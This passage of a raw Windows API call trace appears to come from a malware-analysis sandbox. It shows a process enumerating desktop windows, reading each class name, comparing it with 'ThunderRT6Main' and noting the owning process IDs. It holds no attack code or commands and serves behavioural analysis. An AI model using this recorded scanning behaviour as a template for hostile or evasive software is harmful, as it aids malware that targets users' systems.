returned -1 [0148.120] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0148.120] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0148.120] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0148.120] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0148.120] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0148.120] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0148.120] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.120] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.120] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0148.120] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0148.120] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0148.120] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0148.120] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0148.120] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0148.120] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.120] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.120] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0148.121] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0148.121] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0148.121] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0148.121] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0148.121] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0148.121] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.121] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.121] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0148.121] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0148.121] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0148.121] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0148.121] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0148.121] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0148.121] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.121] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.121] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0148.121] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0148.121] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0148.121] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0148.121] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0148.121] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0148.121] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.121] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.121] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0148.121] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0148.121] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0148.121] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0148.121] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0148.122] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0148.122] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.122] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.122] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0148.122] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0148.122] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0148.122] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0148.122] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0148.122] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0148.122] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.122] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.122] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0148.122] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0148.122] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0148.122] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0148.122] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0148.122] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0148.122] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.122] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.122] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0148.122] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0148.122] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0148.122] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0148.122] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0148.122] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0148.122] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.122] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.122] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0148.123] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0148.123] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0148.123] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0148.123] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0148.123] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0148.123] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.123] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.123] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0148.123] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0148.123] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0148.123] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0148.123] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0148.123] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0148.123] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.123] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.123] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0148.123] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0148.123] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0148.123] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0148.123] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0148.123] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0148.123] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.123] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.123] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0148.123] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0148.123] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0148.123] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0148.124] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0148.124] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0148.124] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.124] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.124] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0148.124] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0148.124] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0148.124] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0148.124] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0148.124] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0148.124] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.124] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.124] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0148.124] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0148.124] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0148.124] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0148.124] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0148.124] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0148.124] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.124] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.124] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0148.124] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0148.124] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0148.124] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0148.124] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0148.124] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0148.124] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.125] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.125] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0148.125] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0148.125] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0148.125] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0148.125] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0148.125] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0148.125] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.125] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.125] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0148.125] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0148.125] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0148.125] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0148.125] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0148.125] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0148.125] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.125] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.125] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0148.125] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0148.125] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0148.125] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0148.125] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0148.125] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0148.125] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.125] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.125] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0148.125] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0148.125] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0148.126] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0148.126] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0148.126] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0148.126] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0148.126] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0148.126] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0148.126] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0148.126] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0148.126] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0148.126] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0148.126] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0148.126] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0148.126] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0148.126] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0148.126] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0148.126] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0148.126] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0148.126] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0148.126] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0148.126] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.126] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.126] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0148.126] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0148.126] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0148.126] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0148.126] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0148.126] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0148.127] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.127] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.127] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0148.127] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0148.127] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0148.127] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0148.127] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0148.127] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0148.127] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.127] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.127] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0148.127] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0148.127] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0148.127] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0148.127] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0148.127] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0148.127] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0148.127] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0148.127] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0148.127] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0148.127] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.127] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.127] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0148.127] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0148.127] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0148.127] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0148.127] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0148.128] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0148.128] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.128] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.128] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0148.128] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0148.128] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0148.128] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0148.128] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0148.128] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0148.175] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.176] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.176] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0148.176] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0148.176] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0148.176] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0148.176] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0148.176] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0148.176] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0148.176] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0148.176] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0148.176] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0148.176] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0148.176] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0148.176] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0148.176] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0148.176] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0148.176] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0148.176] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0148.176] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0148.176] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0148.176] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0148.176] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.176] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0148.177] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0148.177] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0148.177] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0148.177] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0148.177] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0148.177] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0148.177] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.177] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0148.177] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.177] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.177] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.177] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0148.177] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.177] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.177] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.177] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0148.177] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0148.177] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0148.177] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0148.177] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0148.177] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.177] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.177] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0148.177] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0148.177] GetClassNameA (in: hWnd=0x10064, 